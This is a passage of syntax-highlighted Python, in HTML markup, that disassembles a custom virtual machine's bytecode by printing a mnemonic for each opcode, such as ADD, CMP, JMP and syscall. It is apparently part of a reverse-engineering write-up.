&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">op&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">code&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">opr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">op&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_add&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: ADD [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;- [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] + [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_addi&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: ADDI [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;- [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] + &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_sub&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: SUB [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;- [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] - [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_subi&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: SUBI [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;- [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] - &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_mul&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: MUL [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;- [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] * [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_muli&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: MULI [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;- [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] * &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_div&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: DIV [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;- [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] / [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_cmp&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: CMP flag &amp;lt;- [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] == [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_jmp&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: JMP pc &amp;lt;- pc + [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">])))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_inv&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: INV [31] &amp;lt;- syscall(&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">, &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">)&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_push&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: PUSH [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_pop&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: POP [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_mov&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: MOV [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;- &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_nop&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: NOP&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_exit&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: EXIT&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_print&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: PRINT [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_putc&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: PUTC &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ascii&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]))))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_je&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: JE pc &amp;lt;- &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2"> if [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] == [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_jne&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: JNE pc &amp;lt;- &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2"> if [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] != [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_jle&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
